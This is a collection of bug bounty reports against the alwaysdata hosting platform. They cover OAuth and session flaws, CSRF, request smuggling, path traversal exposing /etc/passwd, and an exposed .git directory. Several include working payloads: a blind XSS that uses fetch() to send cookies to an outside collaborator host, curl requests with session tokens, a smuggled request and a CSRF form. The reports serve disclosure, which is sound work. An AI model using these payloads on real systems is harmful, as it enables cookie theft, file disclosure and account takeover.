Security vulnerabilities

Hello Team,

Summary:
There exists a Race Condition in which the subscription are added multiple times which will make them unremovable. As you know, same subscription is not added in admin.alwaysdata.com, but through race condition same subscription can be added multiple time and admin can't remove that in which another user are created them.

Steps To Reproduce:

1. Go to https://admin.alwaysdata.com/transfer/add/?type=account.
2. Fill the form which have new owner(for e.g: example@gmail.com) and click on validate it.
3. Go to admin.alwaysdata.com and login your account example@gmail.com. 4. Then go to https://admin.alwaysdata.com/transfer/ and accept the transfer request and intercept the request on Burpsuite.

5.Make 10 to 15 request and group them to send it from repeater.
6. You can see that any subscription are added and if want to delete them you can't.

Impact
Irremovable/permanent subscription. Even the admin cannot remove that subscription in which another user created it in that account.

Thank You,

Waleed Anwar

Description: The registration page at https://www.alwaysdata.com/en/register/ requires mandatory credit card validation ("Validation par carte bancaire") to proceed, as noted in the warning: "Pour continuer l'inscription et afin de limiter les abus vous devez impérativement valider une carte bancaire." This is likely an abuse prevention measure.

However, the Google OAuth flow at https://www.alwaysdata.com/oauth/google/login/ allows bypassing this requirement. By signing in with a Google account and completing the CAPTCHA, I created a new account without providing or validating a credit card.

Steps to Reproduce: 1. Visit https://www.alwaysdata.com/en/register/.
2. Observe the mandatory credit card validation step ("Valider ma carte" button).
3. Navigate to https://www.alwaysdata.com/oauth/google/login/.
4. Sign in with a Google account .
5. Confirm the creation of a new account without credit card validation.

Impact: - This allows bypassing the intended abuse prevention mechanism, potentially enabling multiple free account creations without validation.
- The impact is limited to potential resource consumption (e.g., bandwidth, storage) if scaled, with no access to customer data or core platform architecture.

Description: After unlinking Google from a user's account, previously created sessions via Google remain active and are not terminated.

Steps to reproduce:

1. Browser A: Sign in to the account via Google OAuth. Keep the session.

2. Browser B: Sign in to the same account using email/password.

3. From Browser B, go to account settings and unlink Google.

4. Return to Browser A and notice that the session was not terminated.

POC: https://admin.alwaysdata.com/support/90046/

Impact:
An attacker who possesses a previous session via Google remains able to access the account even after the owner believes they have unlinked it — leading to persistent unauthorized access.

Suggestion for fix:

Force immediate logout from all sessions associated with the OAuth provider.

Description:
While testing the ticket feature in the support system, I noticed that the sender’s IP address is visible to all users participating in the same ticket. This behavior leads to an unjustified exposure of sensitive information and constitutes a violation of user privacy, as the IP address can reveal the user’s approximate location and service provider.

Steps to Reproduce:

1. Create a new support ticket.

2. Add another user to the same ticket.

3. Send a message from user account (A).

4. Observe that the IP address of user A appears next to the message and can be seen by the other user.

POC:
https://admin.alwaysdata.com/support/89988/

Impact:
Any participant in the ticket can view the IP address of other users.
This is a clear violation of user privacy and conflicts with data protection policies and laws.

Recommendation:
Hide the IP address from regular users and make it visible only to support staff or administrators.

Summary:
The session management does not include any IP address, geolocation, or device fingerprinting checks. Once a session token is obtained, it can be replayed from any device, browser, or country, allowing attackers to bypass contextual integrity checks and maintain unauthorized access.

Steps to Reproduce:
Log in to alwaysdata.com and capture the session token (e.g., via browser DevTools or proxy).

Move to a different device, browser, or VPN geolocation.

Replay the captured token (e.g., by importing cookies or using the token in API headers).

🎯 Result: The session remains valid — no reauthentication, MFA challenge, or warning is triggered.

Impact:
Allows session hijack from another country or device without detection.

No context-aware defense such as:

IP or ASN consistency checks

Browser/device fingerprinting

Geo-velocity anomaly detection

Supports stealthy unauthorized access, even if login alerts or 2FA are present.

Summary:
The OAuth implementation relies solely on bearer tokens (RFC 6750). Bearer tokens act like “keys to the kingdom” — anyone holding them gets full access. Without Proof-of-Possession (PoP) or sender-constrained tokens, a stolen token can be reused by an attacker from any device, IP, or session.

Steps to Reproduce:

Log in to the alwaysdata.com application and obtain a valid bearer access token (e.g., via browser dev tools).

Replay the same token from a completely different environment:

Another browser,

Another machine,

Or a proxy/intercepting tool.

Observe that the API/service still accepts the token without verifying the device, TLS channel, or binding key.

Impact:

Token Replay Attacks: Stolen tokens from XSS, CSRF, or insecure storage can be reused by attackers.

Session Hijacking: An attacker can impersonate users indefinitely until the token expires/revoked.

High-Severity Risk: Any token leak = full account compromise.

Summary:
The application allows users to reuse their existing password when performing a password change or password reset. This undermines the security intent of these features, as users can bypass the enforcement of setting a new, stronger, and unique credential. Allowing password reuse increases the risk of account takeover, brute-force persistence, and failure to comply with security best practices (such as NIST SP 800-63B and OWASP ASVS), which explicitly recommend preventing the reuse of the same password.

Steps to Reproduce:

Log in to the alwaysdata.com application using valid credentials.

Navigate to the Change Password or Password Reset functionality.

Enter the current password in both the "Old Password" and "New Password" fields (or set the reset password to the same as the old one).

Observe that the operation succeeds, and the password remains unchanged.

Impact:

Defeats the purpose of password change/reset: attackers with leaked or compromised credentials can maintain persistence by resetting to the same password.

Increases susceptibility to brute force and credential stuffing, since the password remains weak or already compromised.

Violates industry-standard best practices for credential management (OWASP, NIST).

Reduces the effectiveness of incident response: if credentials are suspected to be exposed, forcing a reset but allowing reuse leaves accounts vulnerable.

Security Best Practices Reference:

NIST SP 800-63B: Recommends preventing password reuse and enforcing that new credentials differ from previously used ones.

OWASP ASVS 2.1.8: Applications should prevent the use of the same value as the current password when changing or resetting credentials.

Recommendation:

Implement a password history check to ensure that newly set passwords are different from the current one.

Enforce a configurable password history (e.g., last 3–5 passwords cannot be reused).

Provide appropriate user feedback when the entered password matches the old one.

Severity: High – This is a critical flaw because it undermines a fundamental security control designed to mitigate account compromise.

Summary
The application applies rate limiting on failed login attempts per IP address, but does not combine this with account- or device-based throttling. An attacker can rotate IP addresses (using VPNs, proxies, or botnets) and continue brute-force or credential stuffing attempts against the same account, effectively bypassing the rate limit. This allows high-volume automated attacks that can lead to account takeover, credential stuffing success, and large-scale account enumeration.

Steps to Reproduce
In the alwaysdata.com application, choose a target account (e.g., victim@example.com).

From IP A, submit the maximum allowed failed login attempts until the application rate-limits further attempts from IP A. Record the response/status code.

Switch to IP B (use VPN, proxy, or other IP rotation technique).

Attempt to authenticate to the same target account using different password guesses. Observe that attempts from IP B are accepted and counted separately (rate limit not enforced per account).

Repeat with IP C, IP D, etc., and observe continued unrestricted attempts against the same account.

(Optional) Automate steps 2–4 from a list of rotating IPs to confirm large-scale brute-force is possible.

Expected secure behavior: The system should limit authentication attempts per account (or per account+device fingerprint) in addition to per-IP limits.
Observed insecure behavior: Authentication attempts continue after IP rotation; rate limiting is effectively bypassed.

Impact
Account Takeover (High): Continuous attempts across rotated IPs increase the probability of successfully brute-forcing a password or succeeding with credential stuffing.

Mass Credential Stuffing (High → Critical): Attackers can target many accounts at scale by cycling IPs, causing large-scale account compromise.

Recommended Fixes
Enforce account-based throttling (primary)

Track failed authentication attempts per account (email/username) and apply progressive throttling or temporary lockouts. Example policy: after 5 failed attempts for an account within 15 minutes, block further attempts for that account for 15 minutes.

Combine IP + account limits (defense-in-depth)

Use a hybrid key: limit_key = hash(account_id + ip) plus a separate limit_key = account_id. This reduces false positives while preventing IP-rotated attacks.

Severity:
High

Summary:
OAuth account linking occurs automatically and implicitly on the company's web application, without requiring user verification, which can enable account takeover. Suppose an attacker signs up using OAuth with the same email as an existing account (registered via email/password). In that case, they are granted access to that existing account without any ownership validation, which is a critical authentication flaw.

Steps to Reproduce:
Create a target account (victim):

Go to alwaysdata.com

Register a new account using email/password, e.g., victim@example.com.

Log out.

Trigger the issue (attacker):

Go to the website

Log in using an OAuth provider (e.g., Google or Apple) that uses the same email address: victim@example.com.

Observe:

The OAuth login automatically links to the existing account created via email/password.

No verification (like password prompt, email confirmation, or user consent) is required.

The attacker now has full access to the victim's account.

Impact:
This vulnerability allows an attacker to fully compromise accounts by using an OAuth provider with an email address matching an existing account, without needing the victim’s password or any verification step.

Possible consequences:

Unauthorized access to personal data.

Tracking information leakage

Service misuse or device control.

Breach of privacy and user trust.

Recommended Fixes:
Do not auto-link OAuth accounts based solely on email.

Prompt the user for verification when an existing account with the same email exists (e.g., via:

Password input,

Email confirmation,

Explicit linking process in settings).

Provide clear UI/UX for account linking that ensures user intent.

Suggested CVSS (3.1) Score:
8.8 (High)

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact: High

Integrity Impact: High

Availability Impact: Low

Regards,
Mehedi Hasan

Note: I was awarded a $500 reward for the same vulnerability reported to some other companies. They marked this as valid and attempted to fix the bug.

Summary:
Revoking an application's access via the OAuth provider's settings should terminate the session in the main application. However, users are still logged in if the session remains active despite the OAuth disconnection.

Steps to Reproduce:
01. Log in to alwaysdata.com using Google OAuth.
02. Let's say an attacker hijacked your OAuth session, or you logged in to another device not owned by you and forgot to log out from there after using the account, and you wanted to destroy the OAuth session there.
03. Go to the Google OAuth provider’s settings from your Google account and revoke the application’s access.
04. You will see that, even after the OAuth provider disconnects, the session remains valid and doesn't terminate.

Mitigation:
If a user’s OAuth access is revoked, force the application session to require re-authentication using OAuth. This ensures unauthorized sessions cannot continue.

Impact:
This flaw allows users or attackers with an active session to retain access even after OAuth access is revoked, creating a significant security risk and bypassing expected session termination mechanisms.

## Note: I was awarded $300 by reporting the same issue to some other companies and they accepted it and fixed it.

Summary:
It is possible to remain authenticated in the application even after deleting the identity account (email/SSO provider) used to log in, resulting in a user session that continues to function despite the underlying identity no longer being valid. This breaks the identity-assurance model and may allow long-term unauthorized access.

Steps To Reproduce:
01. Create an account in the alwaysdata.com application using any email/password registration.
02. Log in successfully and confirm access to protected features.
03. While the session remains active, open a new browser/tab and permanently delete the associated identity account (e.g., delete the Google account/email used to register).
04. Return to the application and refresh or continue using your session.
05. Observe that the application continues to function normally and the user retains complete access.

Impact:
01. Allows long-term access for a user whose identity has been destroyed, violating ownership-based trust assumptions.
02. Increases risk of orphaned sessions or unauthorized access

Recommendation:
01. Implement continuous/periodic checks to verify that the backing identity still exists.
02. Invalidate all user sessions upon account deletion response from the identity provider.
03. Force re-authentication if account verification fails.

Best Regards,
NH Limon

#Failure to invalidate session after logout from 2nd tab.

Hello Team,

I hope you are doing well. While Researching in your domain I found Failure to invalidate session after logout from 2nd tab vulnerability in your domain. Attacker can view token and any sensitive data.

This Vulnerability found in:
1. admin.alwaysdata.com
2. webmail.alwaysdata.com

#Steps to Reproduce:

1. Login to admin.alwaysdata.com
2. Open another tab and copy the login account URL and paste into 2nd tab.
3. Go to profile option into 1st tab or any other sensitive data page.
4. Logout your account from 2nd tab and then visit to 1st tab, don't refresh that page, so you can see that page is still active and attacker can see victim details or any sensitive data.

Impact:

If a user login their account in café or in a office, Victim open another tab for doing their work and then logout the account in that tab. Victim assume that the account are logged out and victim forget to close the browser but into 1st tab, victim account are still logged in and attacker can view any sensitive data and token or any bank details.

#Note:

I can make a one video for both('admin.alwaysdata.com','webmail.alwaysdata.com')

Thank You,

Waleed Anwar

Bug Report — Critical: Registration & Instance Creation — T&Cs / Consent Bypass

Target: https://admin.alwaysdata.com Endpoint(s): /register (web-form POST), root / POST (form that registers/creates instances)
Reported by: Ritanshu Sharma
Testing header: X-Bug-Bounty: SecurityTester-RitanshuSharma-2025
Date: (attach your submission date when sending)
IP: 106.219.120.29
Executive summary (one line)

A critical business-logic vulnerability allows account registration and instance provisioning to succeed without server-side enforcement of Terms & Conditions / consent fields (contract_28, contract_36). The frontend requires checkboxes but the backend accepts requests where those parameters are omitted, empty, or tampered — enabling automated mass account/instance creation and creating major legal/compliance exposure.

Vulnerability classification

Type: Business Logic / Missing Server-side Consent Enforcement

CVSS (reported): 7.5 (High)

Auth required: None

Attack complexity: Low

Root cause

Server-side registration/instance-creation logic does not enforce required consent fields. Frontend checkboxes exist but backend validation is missing or bypassable; consent is not consistently persisted or validated before provisioning.

Proof of Concept (PoC) — exact requests tested
PoC A — Working example (with consent fields included)

This is the valid POST observed (raw headers + body):

POST / HTTP/2
Host: admin.alwaysdata.com
Cookie: django_language=fr; csrftoken=QNCysyCKIwz2VXEOf5V7idzSdxTN5ZeM; sessionid=mfos2ihpy3jh3f0zjfm3tueo2puu3vd7
Content-Length: 164
Cache-Control: max-age=0
Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-GB,en;q=0.9
Origin: https://admin.alwaysdata.com Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://admin.alwaysdata.com/ Accept-Encoding: gzip, deflate, br
Priority: u=0, i

csrfmiddlewaretoken=2ZMSUgXC1YtJ9HVJ7MPTF8OuUftCddUCICegcEpczkSBUupncHAQNbdcXCcf82Ye&product=2012&name=nehasharma&password=Hello%40123&contract_28=on&contract_36=on

PoC B — Exploit (omit consent fields)

Send the same request body but remove contract_28 and contract_36. Result: registration / instance creation still succeeds.

curl example (exploit):

curl -k -v -X POST 'https://admin.alwaysdata.com/' \

1. H 'Host: admin.alwaysdata.com' \
2. H 'Content-Type: application/x-www-form-urlencoded' \
3. H 'Cookie: csrftoken=QNCysyCKIwz2VXEOf5V7idzSdxTN5ZeM; sessionid=mfos2ihpy3jh3f0zjfm3tueo2puu3vd7' \
4. H 'Origin: https://admin.alwaysdata.com' \
5. -data 'csrfmiddlewaretoken=2ZMSUgXC1YtJ9HVJ7MPTF8OuUftCddUCICegcEpczkSBUupncHAQNbdcXCcf82Ye&product=2012&name=nehasharma&password=Hello%40123'

Observed behavior: The server responds as if registration succeeded (account/instance created). Screenshot and HTTP traces included in attachments.

Note: I used the csrftoken and sessionid values seen in the browser trace; exploit also succeeds when supplying a valid CSRF + session or when using other valid sessions in testing.

Additional tests to confirm scope

Submit POST from a curl client (no JS) — succeeds.

Submit POST with empty contract_28= or contract_36= — succeeds.

Submit POST to any other registration/instance endpoint (API or admin console) — behavior appears consistent (same lack of server-side consent check).

Check DB (see Audit queries) — many users exist without associated consent records.

Impact

Legal / Compliance: No recorded user consent → GDPR violations (no lawful basis under Article 6 for processing personal data), exposure to regulatory fines and complaints. Noncompliance with contractual terms can void protections.

Operational abuse: Automated mass account/instance provisioning → resource exhaustion, spam, abuse channels.

Business risks: Reputational damage, audit failures (SOC2/ISO27001), insurance/contractual risk, and potential litigation where users deny agreement to terms.

Reproduction evidence (attach when sending)

Screenshots of successful registration via exploit POST.

Video showing: form submission without consents → successful account/instance creation.

Raw HTTP request/response traces (attached).

Root-cause analysis (concise)

Frontend enforces checkbox UI but backend registration/instance creation handler(s) do not require or validate the presence/value of required consent parameters. Consent values are either not required for account creation, not stored, or not validated prior to resource provisioning.

Immediate remediation (apply within 24 hours)

Enforce server-side validation for required consent fields (contract_28, contract_36) in every code path that creates a user or provisions resources. If missing or false, return HTTP 400 with a clear error message. Do not proceed to create accounts or provision resources until consent is validated and persisted.

Persist consent records on acceptance: store {user_id, consent_key, consent_value, consent_version, timestamp, ip, user_agent, request_id}.

Temporarily enable rate-limiting + CAPTCHA on /register and any programmatic registration endpoints to reduce abuse.

Audit & quarantine: Identify accounts/instances created without consent; flag/quarantine them pending follow-up and retroactive consent collection.

Add monitoring/alerts for abnormal registration rates and missing consent storage events.

Description

There is a design flaw in the domain and mailbox management logic within a user account on AlwaysData.
A user who owns multiple subscriptions within the same account can create a mailbox in one subscription using a domain that belongs to another subscription within the same account, without strict verification of domain ownership.

As a result, mailboxes become associated with the domain object itself rather than with the subscription that created them.
When subscriptions or domains are later transferred to other users, mailboxes and their stored emails are automatically re-associated based on domain ownership, enabling serious exploitation scenarios.

—

Scenario 1 — Create a mailbox then transfer the subscription that owns the domain

1. The attacker’s AlwaysData account contains two subscriptions:

Subscription A: with a different domain.

Subscription B: contains the domain victim-domain.com.

2. From within Subscription A, the attacker creates a new mailbox using the domain from Subscription B (for example admin@victim-domain.com).

3. The attacker then transfers Subscription B (which contains the domain) to another user.

4. The mailbox the attacker created remains active and operates under the domain now owned by the new user.

Result:
The attacker retains an active mailbox under a domain that now belongs to another user, allowing them to receive/send emails as that domain — enabling impersonation or disclosure of sensitive communications.

—

Scenario 2 — Create a mailbox, transfer the subscription that contains the mailbox, then later transfer the domain

1. The attacker creates a mailbox in Subscription A using the domain in Subscription B.

2. The attacker transfers Subscription A (which contains the mailbox) to another user. The new user sees the mailbox ready and uses it.

3. Later, the attacker transfers the domain from Subscription B to a new subscription controlled by the attacker.

4. Because the system links mailboxes to the domain, when the domain is moved the mailboxes and all their contents are transferred to the attacker.

Result:
The attacker gains access to all past and future emails of the mailbox used by the new user, constituting a full privacy breach.

POC: https://admin.alwaysdata.com/support/89714/

—

Impact

Unauthorized access to private messages.

Identity impersonation via email addresses tied to the victim domain.

—

Fix Recommendation

Prevent selecting domains from other subscriptions within the same account when creating a mailbox.

#Csrf Lead to remove Google auth from account

Hello Team, I hope you are doing well. I found Csrf Lead to remove Google auth from account in admin.alwaysdata.com.

Steps To Reproduce:

1. Login to admin.alwaysdata.co
2. Go to https://admin.alwaysdata.com/user/ and click on delete button and capture the request in burpsuite.
3. Make Csrf Poc and save in to csrf.html.
4. Send this request to another account which have Google Auth.
5. You can see that Google Auth is removed into second account.

Thank You,

Waleed Anwar

Executive summary:
The .git directory on https://security.alwaysdata.com is publicly accessible. .git/HEAD and .git/config return repository metadata (remote origin). This can allow repository reconstruction and full source code disclosure.

Reporter IP: 192.168.1.17
Custom header used: X-Bug-Bounty: Hacker-sam123

Proof-of-Concept (minimal, non-destructive):
1) curl -i -H "X-Bug-Bounty: Hacker-sam123" https://security.alwaysdata.com/.git/HEAD

1. > HTTP/2 200 … body: "ref: refs/heads/master"

2) curl -i -H "X-Bug-Bounty: Hacker-sam123" https://security.alwaysdata.com/.git/config

1. > returns config (screenshot attached) showing remote origin.

I performed only minimal reads to prove exposure. I DID NOT download .git/objects or reconstruct the repository in compliance with program rules.

Impact:
Public .git exposure may allow extraction of source code, commit history, and potentially hard-coded secrets — critical confidentiality risk.

Suggested fix:
- Immediately deny HTTP access to .git (examples: Apache/Nginx rules).
- Remove .git from webroot or deploy built artifacts instead.
- Rotate any exposed secrets if found.

1. curl -i -H "X-Bug-Bounty: Hacker-sam123" https://security.alwaysdata.com/.git/HEAD 2. curl -i -H "X-Bug-Bounty: Hacker-sam123" https://security.alwaysdata.com/.git/config

Summary:
When transferring a domain from one Alwaysdata account to another, the associated Mailman mailing lists are not migrated or revoked. The original account retains ownership of these lists and can continue to receive or send emails on behalf of the transferred domain.

Steps to Reproduce:

1. In Account A, add a custom domain (e.g. example.com).

2. Create a Mailman mailing list such as team@example.com.

3. Verify the list is active and receives emails.

4. Transfer the domain example.com to Account B via the official domain transfer process.

5. Observe that the mailing list team@example.com still exists under Account A and can receive/send emails, despite the domain no longer being owned by this account.

POC: https://admin.alwaysdata.com/support/89434/

Impact:

The previous account holder retains unauthorized control over mailing lists linked to a domain they no longer own.

This may allow:

Unauthorized reception of emails intended for the new domain owner.

Sending spoofed emails from the domain.

Potential data leakage of private or sensitive communications.

Severity: High (P2) — because it breaks domain ownership boundaries and enables unauthorized email control.

Recommendation:

When a domain is transferred:

Either migrate all associated mailing lists to the new owner (with consent),

Or revoke and disable them in the old account immediately, ensuring the previous account cannot continue using them.

#Client-Side Desync Http Request Smuggling in https://admin.alwaysdata.com/site/resolver/

Severity(Critical)

Hello Team, I hope you are doing well. While, Researching in your domain, I found Client-side desync in https://admin.alwaysdata.com/site/resolver/ vulnerability in your domain.

#Steps to Reproduce:

1. Go to https://admin.alwaysdata.com/site/resolver/ and Capture the request in Burp.
2. Paste the code to perform Client-side desync ( Code is Below):

POST /site/resolver/ HTTP/1.1
Host: admin.alwaysdata.com
Cookie: csrftoken=; mtm_consent=; roundcube_sessid=*; roundcube_sessauth=*; django_language=fr; sessionid= Content-Type: text/plain
Content-Length: 104
Transfer-Encoding: chunked

0

GET /en/ HTTP/1.1
Host: www.alwaysdata.com Content-Type: text/plain

{
"addresses":["<script>alert(1)</script>"
]

}

3. Run this Request and you can see 2 Responses occurs.
4. Send this Request multiple time and see it's Caching the request( Screenshot attached Below).

#Video is attached below for confirming Client-Side Desync Http Request Smuggling

# Impacts of client-side desync:

Inject malicious scripts: Smuggle a request that injects a malicious script into a victim's session.

Hijack the session: Use the injected script to steal the victim's session cookie, allowing the attacker to impersonate the victim.

Force authenticated actions: The attacker can compel the victim's browser to perform unauthorized actions on their behalf.

Web cache poisoning
If the vulnerable endpoint involves a web cache, a CSD can be leveraged to poison it.

Redirect users: An attacker could poison the cache to redirect users to a malicious site, potentially leading to phishing or other scams.

Sensitive information disclosure
A CSD can force a victim's browser to send a request that leaks sensitive information, such as their session cookies

Denial of service (DoS)
Overwhelming a server with malformed or inconsistent requests can cause it to become unstable or unresponsive, leading to a denial-of-service condition.

Thank You,

Waleed Anwar

Reporter: Li Xian (otterlysecure)
Date: 22 Sep 2025 (UTC+8)
Asset: Hosting control panel → virtual host configuration for any domain

Summary

The hosting control panel accepts unvalidated paths for a site’s Root directory and writes them directly into the Apache vhost DocumentRoot. By setting DocumentRoot to /, an attacker can publish arbitrary world-readable files from the server filesystem to the internet (e.g., /etc/passwd, /etc/hosts) under the attacker’s domain. This is a tenant isolation bypass and information disclosure vulnerability.

Severity Rating: High

CVSS v3.1 (proposed): 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

Impact

Unauthenticated internet users can read any world-readable file on the server via the affected domain, exposing system configuration, service versions, and other sensitive information that materially aids further attacks.

Violates tenant isolation in principle: if any tenant or system component stores world-readable artifacts (logs, backups, static assets), these can be served publicly by another tenant’s vhost.

Expands attack surface for privilege escalation and targeted exploitation.

Affected Functionality

Hosting control panel “Root directory” setting for websites (Apache vhost generation).

Apache evaluates the resulting DocumentRoot without confinement to the account home.

Technical Details / Root Cause

User-supplied paths are written verbatim into Apache config. Example (observed vhost):

<VirtualHost *>

ServerName otterlysecure.alwaysdata.net
DocumentRoot "/home/otterlysecure/../../../../../../"
<Location />
  AddHandler fcgid-script .php
  FcgidWrapper "/usr/bin/env /usr/bin/php-cgi" .php
</Location>

</VirtualHost>

Because ../../.. is not canonicalized or constrained, the vhost can be pointed to any filesystem path (including /).

Proof of Concept (PoC)

In the control panel, set Root directory to:

../../../../..// (via path traversal)

Request world-readable system files via my domain:
curl -i https://otterlysecure.alwaysdata.net/etc/hosts curl -i https://otterlysecure.alwaysdata.net/etc/passwd

Observed results:

HTTP/200 with contents of /etc/hosts and /etc/passwd.

Reset Root directory back to a safe path under my home after testing.

Notes on scope/ethics

I accessed only system files (/etc/hosts, /etc/passwd) sufficient to demonstrate impact.

I did not attempt to access other tenants’ data or private directories.

Why this matters even if some paths 403

Reading /etc/* proves arbitrary file read of world-readable files over the public web. Current 403s on some directories (e.g., /home) are incidental to Unix permissions/overrides and do not mitigate the core design flaw (unconfined DocumentRoot).

Timeline

2025-09-22: Discovered and verified impact (read /etc/hosts, /etc/passwd over HTTPS via my domain).

2025-09-22: Report submitted.

Please see attachments.

Credits / Contact

Reporter: Li Xian

Preferred contact: lixianchai-ywh-fd1a7856643e0e35@yeswehack.ninja

Severity
P3 – Medium

Product / Area
Account Management / Shared Permissions / Email Management (domain selection when creating a Mailbox)

Summary
A previously reported issue was observed again (Report ID: [203], and it was marked as Fixed on [28/8/2025]). The issue is that an invited user who has not enabled two-factor authentication (2FA) can view the domains of another subscription when attempting to create a Mailbox from their personal account. This behavior reflects a failure to enforce the 2FA requirement and constitutes information disclosure.

This issue was re-observed on 15/09/2025.

Steps to Reproduce:

1. Create a subscription account in Alwaysdata and add a domain.

2. Create another user account (subscription).

3. From the main account, add this user as an Administrator with full permissions.

4. Enable the requirement for 2FA before access.

5. From the secondary account (the other user), attempt to add a Mailbox.

6. The domain list will display, including the main account’s domain, even though the user has not enabled 2FA.

POC: https://admin.alwaysdata.com/support/89183/

(Regression):

The vulnerability was originally reported and marked as Fixed.

Its reappearance means the fix was bypassed.

#Attacker Can Access Webmail.alwaysdata.com without validating account in admin.alwaysdata.com

Hello Team,

I hope you are doing well. I found Attacker Can Access Wemail.alwaysdata.com without validating account in admin.alwaysdata.com.

#Steps to Reproduce:

1.Go to https://www.alwaysdata.com/en/marketplace/ and install any application you want.
2.Fill the form then submit the request.
3.Then go to webmail.alwaysdata.com to put your address and password in which you had submitted in Step 2.
4.You can see that attacker can login in webmail.alwaysdata.com without validating account in admin.alwaysdata.com.

#Impact:

Attacker can use victim email to create an account and then use the address to login in webmail.alwaysdata.com. Attacker send fake emails and phishing email to someone as a behalf of a victim.

Thank You,

Waleed Anwar

#Insecure Cache-Control Leading to View Email, Password and User Information in https://www.alwaysdata.com/en/marketplace/ (All Applications).

Hello Team, I hope you are doing well. I found Insecure Cache-Control Leading to View Email, Password and User Information in https://www.alwaysdata.com/en/marketplace/ (All Applications).

Steps to Reproduce:

1. Go to https://www.alwaysdata.com/en/marketplace/.
2. Click on Install any application button you want to install.
3. Fill the form and submit the request.
4. It will go https://admin.alwaysdata.com/user/validation-needed/.
5. Press Back Button and you can see all of these information you are submitted these are shown in the form.

# Impact:

In a PC scenario in an office or in a library or in a coffee shop or such places allow for an attacker to exploit this vulnerability (since the amount of pages visited after visiting doesn't matter). Also it is very easy to get access to a laptop, so this is a likable scenario, and once it happens the attacker has full control over the victim's app data since he/she can use the account.

# Note:

Tested in Chrome latest version, Firefox and Microsoft Edge.

Thank You,

Waleed Anwar

Description:- The vulnerability being demonstrated is Blind Cross-Site Scripting (Blind XSS), a subset of stored XSS, where an attacker injects a malicious script (like an SVG onload payload) that is stored by the application and executed in a different context—usually when viewed by an unsuspecting party, such as an administrator or support user.

Payload:- car’”?><svg/onload=“fetch(’https://adr0y18zp382qw4i8tqpvsj3eukl8gw5.oastify.com?cookie='+document.cookie)">%22%3E) —> see it shows the hyperlink to click by any support assitance employ it would leak the ip of internal organization and attacker can perform the DDOS or access to internal data by endpoints.

Blind XSS: This occurs when the injected payload is stored and only triggers execution out-of-band (not in the attacker’s immediate session), typically when accessed or rendered by someone else, such as through an admin dashboard or email notification.

The payload (<svg/onload=…>) abuses SVG tags to execute JavaScript, exfiltrating sensitive data like cookies to an external domain controlled by the attacker.

Impact;- The script executes when the comment is rendered, sending the victim’s IP address and cookie to the attacker’s Burp Collaborator or a similar endpoint, as observed in Burp Suite.

Because the attacker does not immediately see the results, but instead receives a callback containing the stolen data, this is specifically termed “blind” XSS.

Video link :- https://drive.google.com/file/d/10N9lspffD9loJaEQMxoK0ikdWoDwU9Xc/view?usp=sharing

Description The login endpoint implements rate limiting to prevent abuse, but it appears ineffective . Sending 100+ requests with null/empty payloads via Burp Intruder results in consistent 200 OK responses without triggering 429 . A correct password yields 302 (redirect, indicating success).

Affected Asset:https://admin.alwaysdata.com/login

Steps to Reproduce

1.Navigate to the login page (https://admin.alwaysdata.com/login).
2.Use Burp Suite Intruder to send 100+ requests with null/empty payloads
3.Observe 200 OK responses for all, no 429.
4.Test a valid credential: Receives 302.

Impact

Allows potential brute-force on passwords without reliable blocking.
Minor resource consumption from repeated requests.

Hello Team,

CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing.

CSRF HTML Code:

  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://www.alwaysdata.com/en/contact/" method="POST">
      <input type="hidden" name="address" value="************" />
      <input type="hidden" name="name" value="janam" />
      <input type="hidden" name="number" value="**************" />
      <input type="hidden" name="slot" value="" />
      <input type="hidden" name="message" value="hello" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState(', '', '/');
      document.forms[0].submit();
    </script>
  </body>

There is a csrfmiddleware but when i was removing and sending the request to autenticated user its working and submitting the request.

Thank You,

Waleed Anwar